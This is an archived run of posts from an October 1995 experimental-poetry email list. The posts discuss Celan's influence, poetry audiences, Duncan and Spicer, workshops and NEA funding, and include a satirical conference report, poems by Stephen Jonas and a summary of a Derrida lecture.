it seems that most of the folks being cited as influenced by celan are people that have translated his work. i guess this is intuitively obvious --why wd one undertake such a task unless one were profoundly moved by the work --but it leads me to ask: how are each of these people --or how wd they see themselves as --influenced by celan's work> i know that i might cite as influences writers whose work does not resemble mine in the least; and i can imagine (tho i've never translated) someone taking up a challenge to translate a work for reasons other than "influence." so, maybe the question is, sort of like what i was saying about friendship the other day, what is "influence"? on one level it is intangible, on another level utterly palpable. carolyn forche, i'm glad yr on the list! your contributions are smart and nice.--md

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138. **Maria Damon**
Re: whyld blue avant-pop
Fri 6 Oct 1995

---

i'm assuming gregory corso as avant-pop is a joke? if not, please explain.--md

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139. **Charles Alexander**
Re: whyld, comfy blue
Fri 6 Oct 1995

> *I thought that experimental writing was supposed to be dangerous? If one's entire audience (both of them) shares one's concerns and preconceptions, there's little chance of offending, surprising or challenging, and it seems to me that the only danger that one faces is that of becoming bland and complacent.*

But we do find within smaller groups the ability to say what might be offending to a larger group, and most challenging artists in history at least had a small group of friends/colleagues who supported what they were doing.

> *Perhaps this is*
> *a male thing: we want recognition, fame (some hope!) and the impression that our texts are striding the face of the earth, being proactive and manly*

Really? Speak for yourself (I know you're being somewhat tongue in cheek, but please . . .).

> *whereas women invest more of themselves in their writing and want to protect it (I realise that this is an oversimplification - but the word "raped" in Dodie's post ivites a reading along these lines). When I do write something to which I want strangers to have no access, I don't submit it for publication. But I can't imagine _not_ being flattered if a stranger told me that he or she knew my work.*

Yes, I want people to read/hear the work and even approach me about it, but I can't imagine having no mixed feelings at all about this. The work does span a delicate bridge between/among private and public. When I have given readings where I knew almost noone there (it does happen sometimes, even a couple of times to audiences of a couple of hundred people), it almost felt like it was someone else standing there, some me/not me, doing the reading. Like the public/private chasm, there is both a sense of identification/disassociation from a finished work, particularly when the writer experiences it in front of an audience.

> *Hardly ever will I see a writer in the audience, which*
> *is, obviously, the opposite case for most poetry readings, where a non-writer is usually assumed to be a relative of one of the readers.*

I once gave a reading in the city where my mother lives, and the audience comprised a couple of writers, a couple of academics, and my mother with about fifteen of her friends, most of whom had never been to a poetry reading. It was a marvelous audience, wondrously free of preconceptions about what might constitute a poetry.

> *I still feel profoundly sad at the fact that hardly anyone other than poets and professional critics reads contemporary poetry.*

I think it's true that they don't, but not true that they won't; and I believe that if they do, they can respond in unique and intelligent ways. One of my best critics/supporters has been my daughter's German day care mom (tages mutti). I like to think I write for such people as much as for other poets or critics.

> *To do this, the text must answer the reader's question, "why should I create my own field of meanings from this poem here, rather than this other poem, or this movie, or this page of the telephone book?"*

No, it doesn't have to answer that question, it just has to keep the work alive enough to invite the reader to try and answer it (invite being the operative word here).

> *If we are asking readers to put*
> *some work into our poems, shouldn't we offer them something in return? The challenge, as I see it, is to write poems that are challenging, polysemic and subtle, but that have some "hook" that will make the reader _want_ to come back to the poem again and again. Maybe if I live to 130 I'll write one such poem.*

I agree, except the word "hook" seems loaded, manipulative. I like to think of it more as a gift.

all best wishes,

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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140. Larry Price
Politics and derivation
Fri 6 Oct 1995

Allen Ginsberg once noted that being an anarchist didn't mean you could throw your trash in the street. Similarly, saying poetry won't feed the hungry masses has about the same meaning as saying a rice grower's fields won't scan or are overly committed to closure. The political can just as easily begin in the rejection of an easy forgetfulness, of saying, Since so many others DO (throw trash, etc.), what would be the point etc. of my not? That sense of resistance is not, I think, about autonomy only, but equally has implications for the intersubjective.

That said (and because I do think it has to do with form), I'd like to air thoughts about Duncan's poetics of derivation. Pushed by Charles Alexander's note on

THE OPENING OF THE FIELD, I also went to the shelf, to FICTIVE CERTAINTIES and to AFTER LORCA.

"I find again how Emersonian my spirit is. All of experience seems my trust fund to me; I must CULTIVATE THE MISTRUST THAT ALONE CAN GIVE CONTRAST AND THE NEEDED INNER TENSION FOR VITAL INTEREST. In this I stand almost heretically disposed to Olson's insistence on Melville's sense of inner catastrophe against the Emersonian bliss." [caps mine]

That poetry is a contagion does seem like a good place to start, but Duncan's sense of "back and back and back" seems too comfortably located:

"When I first decided to be a poet...this itself was a disordering of the world and its orders in which I had been raised...I had been preparing to enter that world...but my conversion to poetry was experienced...as being at war with every hope the world before had had of me...to give one's life over to poetry, to become a poet, was to evidence a serious social disorder."

On the other hand, Spicer:

"Things decay, reason argues. Real things become garbage...Yes, but the garbage of the real still reaches out into the current world making its objects, in turn, visible -- lemon calls to lemon, newspaper to newspaper, boy to boy. As things decay, they bring their equivalents into being."

Two senses of disorder, as also many more times than one real, which may be why devotion towards them must be so disordered.

So regarding form, it's interesting to read Duncan's sense of contagion as not being a resistive annihilating rod plied AGAINST convention, to read convention itself as having bred the contagion. The disorder that ensues is WITHIN THE TERMS OF CONVENTION. Whereas the disorder that is Spicer's I read as issuing from the events TOWARDS WHICH his devotion runs. It's difficult not to appear reductive, but, for me, that's the divide in this discussion of form, new or otherwise.

Larry Price

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141. Charles Alexander
friends
Fri 6 Oct 1995

What Maria and Sheila say about the importance of friends, and how it seems more crucial to discuss that than literary tiffs, seems absolutely right. One difficulty, though, is that some of the friendships meaning most, even to the writing, are not specifically literary ones. I think of the friendship (and more) of

Cage & Cunningham. I think that friends who have made a difference to my writing include musicians and visual artists (probably more than other poets). Even childhood friends made a difference. Sorting it all out is difficult.

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142. **Bill Luoma**
Re: Oops Snoops
Fri 6 Oct 1995

Aldon made some good comments concerning communitas:

>>All kinds of identity crises available, but -- it's one thing to identify groups of poets >>who seem to share common aesthetic interests, or presuppositions, or questions,, etc. >>-- another thing to grab bunches of poets by the scruff of their
>>birthdate & ask an identity to emerge -- rather like the "Texas
>>Sharpshooter" phenomenon -- The shootist fired several rounds at the side
>>of the barn, went over to the bullet holes, drew a circle around them and
>>said, BULL'SEYE! The _Next Coast_ affair was said to have something to
>>do either with age or with when one began publishing, but a glance at the
>>table of contents shows that neither of these criteria actually was at
>>work -- Still a really interesting gathering, I think, but hardly the
>>statement of a generation, a school, or even an emerging ethos -- Not
>>that I'm looking for that in particular, just that I read a tension
>>between the desire for a "grouping" of some sort and what can be found
>>reading the actual publications --

I am in favor of calling such attempt the Next Coast, a dyslexic tactic shared by my colleague Tony Door, who did have something to say about the Buffalot effent, which I reproduce below with persimmon from the author:

Writhings of a Nude Ghost: A Report from the Bluffalot Festival of Nous Poverty.
-Tony Door Sept. 7, 1993

What follows is a bunch of gripping & carping by a typical New York Poetry type, on what was essentially a worthwhile & noteworthy endeavor, whose only real flaw was that though the possibilities, potentialities, & ramifications of this confluence was multitude, i for one have unfortunately heard nothing from, nor of, it but a few vague peeps.

Let me begin, for those of you who have not yet forgotten that you were not invited & therefore did not attend, by describing how the skene was set. In a rather large, comfortable room filled with your typical Academic Library sofas & chairs, about 75 to 80 rather groggy looking persons {at least 50 of them

men} gathered together late in the morning on April Fools Day, 1993. Cups of bad coffee in hand, they waited for the first rumble from that first poet in this now officially contextual-ized conference. As i looked around me, thinking to categorize & observe, {much as Charles Darwin might have done upon first reaching his archipelago galapagos}, i saw:

*Five men who hadn't bothered to shave *Four men with beards *Three men with mustaches & goatees *Two men with hipster 70's side-burns *One man with a small Tom Waites style Van Dyke under the lower lip *Seven women wore their long hair down *Six women wore glasses *Five men glued their hair in place with mousse *Four men wore their long hair in ponytails *Three women had very short hair *Three men had buzz cuts *Three women wore very red lips *Three men wore ties *Two men wore denim jackets *One woman wore a dress *One woman had dyed her hair "red" *Five men over the age of 35 decided to attend *Four men had baseball caps on their heads *Three women also wore baseball caps *Two men wore regular hats *Three men dressed in "tweedy" professorial sport coat attire {leathern patches intact} *Two men dressed for the late 60's were in attendance *One woman dressed for the late 60's also came *One man in a leather jacket from the early 80's with zippers all over it argued philosophically about prescience & *One man had on a short, very fashionable, navy monkey jacket with a Lenin pin on the lapel.

In short, not many of those people who reek poetry, whom you night see at the Nyorican on any given Thursday in any given year. Nor were there many in attendance that you would regularly encounter at St. Marks in the hipster crowds who frequent that venue on Monday or Friday. Nor even those of the Wednesday night John Yau reduced size crowd that you get to see full blown at the occasional 92nd Street Why. Much more so, these poets were non-specifically cut from the fabric of a Rob Fitterman run Saturday afternoon at the Ear Inn. This is not to say everyone from the Ear went, just that if you went to the Ear you would not be surprised to see any one of them. & almost without exception, those people whom i did know who attended Bluffalot, i have met at the Ear. Of the conflagratience itself these moments stand in my mind like beacons: Iconographic representations, if you will, of larger arguments we have yet to formulate & pass judgment on. For the events themselves let this description stand as a partial listing of the shape of things to come.

The unintimatible Leanne Brown publishing the unpublishable in the library of time. Who, upon singing a song about fairies during a panel discussion on the Ethics of Small Press Publishing, was chastised for not being solemn enough, by someone who probably should have known better.

From the man who has everything, the heroic Algonquin figure of [[redacted]] Chris {he who carries his} Funkhouser {on his back}, passing out cassette

tapes, cd's & his bitnet address like candy to babies. Who challenged the whole conference with the immediacy of the egalitarianism of his poetry as music for everyone, & the unintentional elitism of his live by the modem die by the modem future of poetry as an electronic medium. An idea, which, although appropriately utopian, i for one neither have access to nor can really afford to make manifest at this moment in my life.

A most maligned & neglected joke: Potato as Rhizome was presented, to all those willing to brave the arduous journey {"Who are these guys? I'm tired."} to the Media Lab, by John Byrum, during the Alternative Modes & Media reading. At this reading he, Miekal And, Liz Was & Liaison, made poetry humor, process & participation. If Helen Keller made a joke in the forest & no one were around to hear it, would it be a poem about sound?

Chris Stroffolino reached the heighest heights attainable during the conference at a panel discussion on Word & World, when he suddenly insisted that he was himself baseless & groundless. The poet, troubled by the giantesses from Toronto, found himself treed when he climbed onto his chair & crouched there, as proof that he was in fact not grounded. {Causing many to wonder: "Isn't' there an electrical socket somewhere nearby?"}

The panel on Reading & Refiguring steadfastly refused to answer anyone's questions. This reticence seemed at first to be an attempt to refuse the refiguring implied by the questioning, & then it seemed a refusal to attempt a question which required refiguring. Finally, Melanie Neilson left everyone stunned & satisfied by completely refiguring herself & reading the audience.

The most useful piece of information to come out of the whole meeting was an observation made during the discussion on the Ethics of Small Press Publishing made by Wisten Cornell, a visiting lecturer from New Zealand. He suggested that if a book or magazine sold only 1,000 copies, this did not represent a segment of the public interested in reading poetry, but was instead a mailing list of people who might be know.

Eventually, things began to get a bit weird. The best talk given by someone who was not actually invited was given by the Barscheit Nation. Who with an almost imperceptable nonchalance, & an astoundingly imperialist {& they aren't even American.} swager, just short of walked right in & took over. Brought about by an event whose causes ran parallel to this invasion, the best reading of the conference was given at the very end by someone who wasn't even there.

One panelist, having only moments before called for "a new imaginary tense" blasted away at the only one of the poets at the conference who even seemed to have come close to making that new tense real. The splendor blaster of the incendiary, pyro-classical verbotage of tense, an individual who had so thoroughly reworked the language that the meanings of such simple & yet

rigidly defined words as combustible took on whole new meanings when issuing from his mouth. My question finally is, "How can you be sure you disagree with someone when you can't actually be sure he is saying the same thing you think you hear?"

Which brings to mind some of the most important things about this conference, the conversations one was able to either get into or even just overhear. Unfortunately these existed merely as a residue of the structure of the conference more than as an element of its design. {There were too many Panels & Readings & not nearly enough "down time" during the day.}

So much so was this true that, one might never have gotten the chance to speak with those to whom one really wanted to talk. From my perspective the people most likely to be stood in line in order to be talked to at this conference were Peter Gizzi, Steve Evans & Ben Friedlander. However, there were many pleasant suprises. It is possible that Rod Smith does not ever actually sleep, but if you were still up at 3:00 AM it was well worth your time to stay up the rest of the night with him. {Because if nothing else, he told the funniest stories about other people you might ever hear.} Quite unexpected were the appearence of two women from George Mason College, who have studied with Carolyn Forsche. Lacking any formal ties to either this particular "poetic movement" or any of the individuals involved, & providing an especially irreverent & insightful point of view, they claimed to have actually enjoyed themselves, & even found the poetry to be for the most part of some interest.

Of overheard conversation, one of the very few "established" poets who came to the confugence, {ostensibly to "see what was happening"} was caught marveling, as if having been just visited by those from outer space, "Last night these people went to a party & after having already listened to poetry for three days, organized a reading at the party! & except for a few people who were in the kitchen, everyone sat quietly & listened. But what was really amazing was that when the people in the kitchen got a little loud, everyone turned around & told them to be quiet."

Oddly for such a pessimistic profession, (& such a pessimistic group individually), there was a feeling of optimism & well being overlaid by a strange sense of reverence, all embodied in the answer to the question, "Divine emanation or Earthly paramour?" which was Robert Kocih. To speak with the man was to be as if one speaking in a dream. Most disappointing was the apparent lack of interest by those slightly older poetry types in even showing up & seeing what was going down. i hope that in the future i find myself interested enough in finding out what's going on to take a couple of days off work & go upstate to have me a look around. There was for all its posture & lack of

prescience, something uplifting about this contraversy of poets, which occurred early last April near a still frozen lake.

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143. Sandra Braman

poetry

Fri 6 Oct 1995

Charles Alexander -- Have been batting back and forth to Urbana for a variety of frustrating reasons, but am now ensconced at cabin in northern Minnesota at least through October and probably November.

Any chance of getting together a poetry evening late in October, or?

Sandra Braman

218/[redacted]

[redacted]
218/[redacted]

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144. Blair Seagram

Visual Art & Poetry

Fri 6 Oct 1995

Juliana
"Could the public's (there does seem to be some sort of public here)desire for innovative art might have something to do with theone of a kindness of art?
That is my best guess."

Andy Warhol is the most popular artist in the art world today, I believe. And his entire philosophy was geared toward mass production, even if his output was minute compared with a corporation's or a CD of the Stones. Maybe the reason he sold was ironic. And lots of networking.

I think for some painters and sculptors one of a kindness is important, but for "conceptual" artists, not so much. Conceptual is a lousy word. Let's just say certain artists are not interested in one of a kind at all. It has no bearing on their message.

Spring Ulmer " I think the visual arts has a lot to learn from poetry happenings today. In terms of community support and working together, the major poets I know/have come in contact with (Anne Waldman, Susan Howe, Leslie Scalapino, Sam Hamill, Allen Ginsberg to name a few) have been amazingly open, personal, and unpretentious which is more than I can say about those NY

artists I know. I think though, that this subject of comparing the visual arts and poetry is too large and filled with too much speculation - Perhaps some people would like to address their own practices and how far reaching they are, or want them to be."

As one NY artist, I can say the gallery system never worked for me. Although I know people who have done quite well, thank you, from this system.

But you have to know the game. Or know people in the game that believe in you. And you need a little hype to make it "big". And I think perhaps in every field that happens. Some fields may be more comfortable than others, or perhaps you learn to disregard the system and do it for the sheer enjoyment of it. As an experiment.

I think its true that there isn't much community support in the art world. I have seen very little leadership among older successful artists. I read an article on Frank Stella a while back, in WW Mag I think. About his relationship to younger artists he said something like, "we're two ships passing in the night". I hate to pick on Stella but he had a lot of power. He could have used it to promote certain directions he thought were important in art. He didn't. I know that musicians need each other more than visual artists or poets do, but when I worked for Isaac Stern I saw a totally different way of handling a creative environment and working with younger artists, than I did in the art world. And believe me, I think it makes a difference. The art world's stagnation may have to do with a lack of continuity. Then again perhaps this was in the cards from the start.

There is an attitude problem with some NY artists and dealers for sure. I started losing interest in the NY art scene about two years ago. And I don't think I am alone. There is simply no energy. Certainly I have very little interest or time to devote to it. Something is dead I am quite sure about that. And that is just fine by me. Like the financial world, the art world in the 1980's was mainly hype with not much substance. I have a feeling the gallery scene is still in the 80's and the 90's are somewhere else.

Visual work is easier to grasp than poetry. But finally I think poetry is more personal than any of the other arts and perhaps that is why it remains sequestered. Although it seems to me, that I see, hear and read far more about poetry in the media these days than I did five years ago. But what is the media hyping? Certainly not the poets I hear about on this list. The media has a way of reducing just about everything to the lowest common denominator.

As far as the comment someone made about the price of visual work dropping as soon as language was inserted. I think that is untrue. Jenny Holtzer is extremely succesful. Now I have forgotten some of the other names, but what I find curious is that most of the language stuff and arguably the best, done in

the visual arena, has been by women. There are dozens of visual artists whose work has become more and more concerned with language. I have a tendency to think one of the main thrusts of the 80's was language in the visual arts. Certainly it had more on the ball than the expressionist plate-breaking of Julian Schnabel.

Mark Wallace " While resistance to easy characterizations or labelling, etc, is certainly necessary, I want to question whether or not the resistance to all characterization, even situational and specific, would really be a good tactic for poets."

I got into an impossible position this past weekend, with a couple of friends (one an art dealer the other a journalist.) I used the term "Language Poetry" and the f-cking wrath of god came down upon me. What did I mean by this term? And if I couldn't give an explanation, I had absolutely no right to use the phrase. Well the truth is, I couldn't give an explanation, because I really am so unclear as to the meaning. Is language poetry based on sound? Is it about the deconstruction of language? Or maybe the reconstruction? Is it a sensitivity to the way a word is formed in the mouth and/or constructed on the page? What is it? How many things is it? Is there one particular reason why a person gets dubbed a language poet. Did anyone write an article or maybe a book about language poetry? What is it in the work of Bruce Andrews and Bernadette Mayer, for instance, that makes them LPoets?

Dodie Bellamy "Many of the artists I know are doing work that's involved with in-your-face sexuality, which is treated by (everyone but the NEA, of course) as interesting, but no big deal. That's what I'm really jealous about, artists' ability to do sexually explicit work and not somehow feel tainted or whispered about."

As far as writers go, you don't find Kathy Acker sexually explicit? Didn't I read somewhere that she's performing at Albert Hall. Some whisper.

Best,

Blair

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145. **eric pape**
Re: The Art and Poetry Worlds
Fri 6 Oct 1995

Carolyn: Great post. I am very glad to hear that you think the structural limitations of the workshop need to be changed. If that _can_ be done, then the historical domination of one type of "official" poetics may end. But let's not underestimate these limitations. Most of them have to do with the dynamics of the classroom itself and are not going to go away by re-arrangingthe desks and

assuring everybody an A (a luxury that most of us whoteach only undergraduates are not allowed incidentally -- I just received my third notice this morning in fact that my grade distribution is outside of the department norm.) I think, historically, that the pressures exerted by administrations to explain what happens in workshops and the pressures exerted by the AWP in the past to compete with other schools, and the pressures exerted by the structure of authority in the workshop haveresulted in the consolidation of criteria that has dominated the official poetry scene for a long time. Have these pressures been eliminated? My concern is that we simply replace the old criteria with the new without fundementally changing the way the workshop operates. To change that, I think we have to re-think workshops. Do stuff like get rid of grades entirely, so that even the threat of a lower grade (a threat which is real to grad students I promise) does not exist. I think we need to get rid of the single instructor as well. Team teaching would seem to me to obviate some of the authority problems, but since I have no experience with that, I wonder what other people think? Also, what do we do about the demands ofthe departmentswhere we work? I'd be interested in any ideas you or anyone else has. Again, I am delighted that this discussion is taking place with someone who has real authority in the AWP. There is hope----- Thanks, Eric.

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146. Burt Kimmelman
Re: Joel Oppenheimer
Fri 6 Oct 1995

Why aren't people writing about Joel Oppenheimer's poetry? 61-_a"|+pbWhy aren'Why aren't people writing

about Joel Oppenheimer's poetry? (I will, as soon as I get some other obligations out of the way--but am i one voice--well, there's george and charles too--in the wilderness?)

burt

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147. Charles Alexander
Re: poetry
Fri 6 Oct 1995

>Charles Alexander -- Have been batting back and forth to Urbana for a
>variety of frustrating reasons, but am now ensconced at cabin in northern
>Minnesota at least through October and probably November.
>
>Any chance of getting together a poetry evening late in October, or?

>
>Sandra Braman
>
>218/[redacted]
>
Certainly! Any lurkers here who are interested please give me a call. Otherwise I'll talk with several people here and get back to you. Do you want to suggest a time? Anyone not in Minnesota who wants to drop by is also welcome.

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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148. Charles Smith
Re: Celan Salon
Fri 6 Oct 1995

Has anyone mentioned Benjamin Hollander, who directly acknowedges/works out of Celan in his writing? (& edited the Celan issue of _ACTS_)

cs

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149. Judy Roitman
Re: whyld, comfy blue
Fri 6 Oct 1995

I really liked Charles Alexander's response. Why be elitist? My old high school English teacher, with whom I remain very close, is troubled because she cannot "explicate" my work, but I too have found that people without preconceptions can often enter into supposedly difficult work. "Gift" rather than "hook" -- yes indeed.

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150. Fred Muratori
Giants and LIPS
Fri 6 Oct 1995

Does anyone know if the pozine _Giants Play Well in the Drizzle_ (out of NYC) is still a going concern? Ditto for _LIPS_ (Montclair, NJ). Have had work at those theres going on almost a year now, and -- ever mindful of the etiquette that applies to writers if not to editors -- I'd want to know that said zines are dead before plying goods elsewhere. (And yes I do usually query directly, but most of the time the queries -- complete with SASsomethings -- are ignored, too.) Thank you.

****
Fred Muratori "Certain themes are incurable."
([redacted]) - Lyn Hejinian
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
****

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151. Mark Roberts
Re: AWOL: ARTS ONLINE CONFERENCE
Fri 6 Oct 1995

> *The Arts Law Centre of Australia presents*
> *ARTS ONLINE: Getting Started in Multimedia and Online Publishing*
>
> *A conference on fundamental business and legal aspects of multimedia and online publishing*
>
> *Tuesday 24 October 1995 :1.30 to 4.30pm*
> *Domain Theatre, Level 1*
> *The Art Gallery of New South Wales*
>
> *Mark (and others) - What about holding a conference of this nature online? Several years back, I chaired such an effort as a part of university duties. We spent about two or three weeks, as I recall, conferring about specific topics in structured formats. We maintained a running chat line (simulating the hallways and break areas). I'm sure it could be argued that we're already doing something like that here. The difference, of course, lies in the focus, the preparation, and the manner of responding. Less of an off-the-cuff arrangement can be quite interesting and productive.*

> *Sheila*

Sheila and others

I've asked the Arts Law Centre if they would be prepared to allow me to post extracts of some of the papers. I'm not sure how it would work - I suppose it depends on the size of the papers. Maybe an introductory document might be useful.

Mark

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152. Fred Muratori
Re: Joel Oppenheimer
Fri 6 Oct 1995

> *Why aren't people writing about Joel Oppenheimer's poetry?*
> *61-_a"|+pbWhy aren'Why aren't people writing*
> *about Joel Oppenheimer's poetry? (I will, as soon as I get some other*
> *obligati*
> *ons out of the way--but am i*
> *one voice--well, there's george and charles too--in the wilderness?)*
>
> *burt*

I wonder about that, too. For what it's worth, I wrote a piece titled "Joel Oppenheimer's Urban Architecture" (on _New Spaces_), for _Creeping Bent_, Spring 1987, #5, pp. 41-47. Oppenheimer sent me a very kind note as a result, with an invitation to visit. Unfortunately, he died not long afterward. I never did meet him, but I've heard he was a very generous man.

****

Fred Muratori "Certain themes are incurable."

([redacted]) - Lyn Hejinian

Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
****

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153. **tunguska**
oj can you see...the glove
Fri 6 Oct 1995

Aldon's synopsis of the Simpson defence's timeline
shows what fetishism is really all about.

***

Ode To The Glove

When our day was dark and weary
Sittin' on the void amongst the jury
You came along and spotted our light
The brightest quick fix of the nation's sight
A bath to take, no worry to fake
That great evidence that make me quake
Divine intervention come a-rainin' they say
Down in the form of a leathery lay
tod thilleman

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154. **tunguska**
derivation passage
Fri 6 Oct 1995

George;

You are so correct, it is a horrid verb (shudder...click, creak....shudder).
The excercise
sees us thru, saw us thru, is a passage now

tthilleman
tod thilleman

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155. **tunguska**
Stephen Jonas, gentleman
Fri 6 Oct 1995

---

from EXCERCISES for ear (Talisman House, 1994):

VI

you too would yell
a plague upon

the heads of all
bankers

if I held you
by yr so

three hundred bil-
lion dollar debt

XV

youth
    of my generation

repaired
    to The Moon

thither
    did their sen-

timents piti-
        fully meet

-- broken phrases
& abbreviations grope

in the
    half-light

LXXXIV

... nor, in this common light, have we
        fared better, most
  unhappy lot

                made no-
                    toriously reasonable;
chance and circumstance turns all to
        cold metallic purpose
setting no sights to move or to dance
the image, dismantled
                all that machinery
                        departed,

leaving the scene to
        maudlin abstractions,
          passions too powerful to be believed
or if believed,
          too long endured

*** ***

originally published by Andrew Crozier, The Ferry Press, London, 1968. tod thilleman

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156. **tunguska**

The History of Lies: Derrida @ New School NYC 10/6 4 p.m.

Fri 6 Oct 1995

The History of Lies, an hour and one half lecture by Jacques Derrida, was delivered at the New School, as part of this year's symposium on the philosophy of Hannah Arendt.

What we took from this address, one aimed specifically at Arendt's later papers gathered around the idea of truth et al in relation to totalitarianism, was the current air of pessimism regarding american media.

Coupled with Arendt's ideas, Derrida first set off to define a lie as that which is bounded by the strict notion that one MUST tell the truth. This is the level at which the lie operates. The nature of politics, and history, were evoked thru the course of this "descriptive" oration, which, as we said, lasted for about an hour.

One of Arendt's central ideas, is that, to tell a lie, the teller must also be telling a lie, to himself. Duping himself, also. Part of this has to do with the nature of individual address, which always, in some way, says in effect, this is the truth, and I'm telling it to you and I want you to believe it. This characterization, if you will, of truth and the lie, so intertwined as to become one another, operates at the level of civic responsibility. And then he went into Kant and his definition of a lie, as, basically, that which is dangerous to the "state".

Derrida then takes this, and shows that the performative aspect of oration, or, what he likened to testimony, is constantly bounded by the machination of "telling the truth". An obligation that, tacitly, brooks no interference from the individual (that that, classically, is defined as having no part to play in politics, security of the state etc. those political assumptions, so operative at the very root of truth-telling). Yet it is this individuality, or what, in the big picture, so to speak, was, definately before WW II for example, bounded by "secret" obligations, and operated within the domain of a secret, that now comes under a radical universilization of "good conscience" of full and total disclosure, setting up an interaction, at the state level, and also the intra-personal, a sameness, whose receptive other is always the object of this "truth." This is evident in the way the media operates, it needs to know the limits of its audience, in order to de-limit them, and render them categorically pre-disposed to the above-mentioned machination.

It is precisely the possibilities that "secrets", or what he likens to "Civil Disobediences" bring to bear upon this truth-telling, this universilization of the lie (what Arendt likened to a great arch of narrative, crumbling into fragments, from which she believed, but not corraborated by Derrida, that truth would arise and triumph over) enters into the performative aspect of "testimony" as THE problematic of our time. That this taking of an "indestructible specificity" in the light of the difference between testimony, and the history of the lie--the victory of the "stable" of multiple teleologies, over individual, not just conscience, but being and ITS attendant assumptions, the possibility of totalitarianism must, always, be recognized, and never let to leave the area of this problematic.

Many questions, of course, and assertions, were put forth, regarding eastern europe and the fall of THAT totalitarian obviousness. But one speaker, talked about the events in Timosoara (romanian rev.) 1989, relating it to one of the contributing factors that assisted in the crumbling of yugoslavia some years later, as manifest in the populace's participation in the media coverage of those events and time, where what was seen, and acted upon, were different opinionizations feeding off of media coverage, creating a mosaic of realities to choose from. Media, that is, used not for a totalitarian view, but for its fragments. We found this interesting, because, what yugoslavia is generating, is seperate units, under all-encompassing ideas of race and totalization, which looks to all other world media distrustingly, as against their selves. Hardly a starting point for a "new and better age."

We've tried to impart first impressions of the breadth of this event, and offer it here in "good conscience."

tod thilleman
Matt Seidman
Meredith Brosnan

tod thilleman

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157. Lindz Williamson
thanksgiving
Fri 6 Oct 1995

Happy 503 years of genocide everbody! And on that happy note I'd like to say it has been a blast not really knowing all of you. I'm shutting down my server this friday (the 13th) so if anyone wants my address backchannel soon and I'll give it to you. I know some of you will be expecting christmas cards from me soon so include yours as well.

Take care and maybe I'll catch up with y'all later.

Lindz

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158. **Charles Alexander**

Re: The Art and Poetry Worlds

Fri 6 Oct 1995

Eric & Carolyn, regarding poetry workshops.

My guess is there are some great examples of workshops. The one led by Joel Oppenheimer already mentioned, perhaps workshops of Robert Duncan's, maybe current ones by people on this list. I feel like I've led ones (11 years ago now, and in more of an extended university kind of setting) which weren't team taught, but which also weren't like most MFA ones I hear about, but which had their own sense of rigor and intense involvement of students learning new possibilities. We wrote regularly, did exercises aimed at learning to hear words/sounds both as meaning and in some ways independent of meaning; we read works ranging from Emily Dickinson to Jackson Mac Low, also listened to sound/performance poetry and saw some on video; we used some of the videos from the American Poetry Archive -- Zukofsky, Olson, Daphne Marlatt, Duncan; we strived not to learn rules but to find and make works which individually had their own rules we could come to understand and learn from. I hope to be able to teach such courses again.

While I like your notion, Eric, of team teaching, I also think there is room for the single inspiring teacher. The studio art class in which I first learned typography, printing, bookmaking, functioned as a workshop. The teacher was Walter Hamady (take my word for it, a marvelous printer/publisher). In a sense, though, Walter functioned as inspiration, and the students taught each other, with periodic lessons, critiques, and encouragement from Walter. In a way, vision and absolutely challenging and demanding standards were provided by him, and the students (advanced mixed in with beginners, which was a real help) learned the nuts and bolts together (and argued about what those nuts and bolts might include). The course gave me a sense of bookmaking as exploration which has sustained me through the present, and has given me an ongoing set of difficulties with what I've found to be the majority of fine bookmakers who have a more strictly craft-bound definition of their work.

Perhaps others on this list could talk about positive models for workshops they've actually taught or taken, as well as speculating on what might work. I'd love to hear from people who were in Duncan's workshops, people who have studied with others they found particularly instrumental in their own formation of a poetics.

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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159. Ron Silliman

Re: The Art and Poetry Worlds

Sat 7 Oct 1995

Carolyn,

I've always thought that the support for presses had greater value for poetry than the individual fellowships, but I admit I find your comment that "in the past years, several applicants have been "flagged" for denial by the Council" disturbing.

Can you give some idea as to who the blacklisted writers might be? And what the methodology is for "flagging" them? I.e., who initiates it and what is done?

Ron Silliman
[redacted]

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160. CAROLYN L. FORCHE-MATTISON

Re: The Art and Poetry Worlds

Sat 7 Oct 1995

Dear Ron, I agree with you regarding the importance of the presses, which is why I agreed to serve on that panel. With the demise of the discipline-based programs at the NEA, the Literature Program among them, there are fears that as many as a third of the small presses formerly supported by public funds will close down. While the individual fellowships have arguably made a different in their recipients' lives, there is an argument to be made that these are the "elite grants," and are politically easier to preseve than grants to infrastructure (presses). As it happens, without the preservation of the individual grants at this time, it is unlikely that any public money would be apportioned to literature in the re-structured NEA. There was a story several years ago in the AWP Chronicle regarding the "flagged" grants. I don't remember the names of the poets/writers involved, but I do recall that they were gay/lesbian writers. Reportedly, NEA staff felt incomprehensibly obliged to warn the Council of possible controversies. This staff is no longer at the NEA. As you know,

US public subsidy of the arts has always been markedly lower than that of Europe, Canada and Japan. The $2.8 million given by the NEA to literature (presses, magazines, individuals, organizations) was paltry but will be missed. I am not an admirer of the NEA becuase I believe that it has inappropriately politicized its subsidies. --Carolyn

On Sat, 7 Oct 1995, Ron Silliman wrote:

> *Carolyn,*
>
> *I've always thought that the support for presses had greater value for poetry than the individual fellowships, but I admit I find your comment that "in the past years, several applicants have been "flagged" for denial by the Council" disturbing.*
>
> *Can you give some idea as to who the blacklisted writers might be? And what the methodology is for "flagging" them? I.e., who initiates it and what is done?*
>
> *Ron Silliman*
> [redacted]

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161. **Maria Damon**

Re: The History of Lies: Derrida @ New School NYC 10/6 4 p.m.

Sat 7 Oct 1995

---

thanks for the detailed precis, thilleman (welcome to the list by the way) --this lecture has fascinating implications for the oj trial and the whole system of american justice, but i'm too fuzzy headed to dope it out here in any rigorous linear fashion. anyone else wanna give it a try?--md

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162. **Maria Damon**

Re: thanksgiving

Sat 7 Oct 1995

---

hey lindz its been (sorta) (un) real--maybe catch u at an mla or 2 at some pt --don't know if i'll ever make it to the status of "learned"---md

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163. **Maria Damon**
Re: thanksgiving
Sat 7 Oct 1995

---

ps will u accept cards representing other "faiths"?--md

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164. **Maria Damon**
Re: The Art and Poetry Worlds
Sat 7 Oct 1995

---

the people who have inspired me most were those who allowed me the illusion that they were interlocutors rather than "teachers..."--md

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165. **Maria Damon**
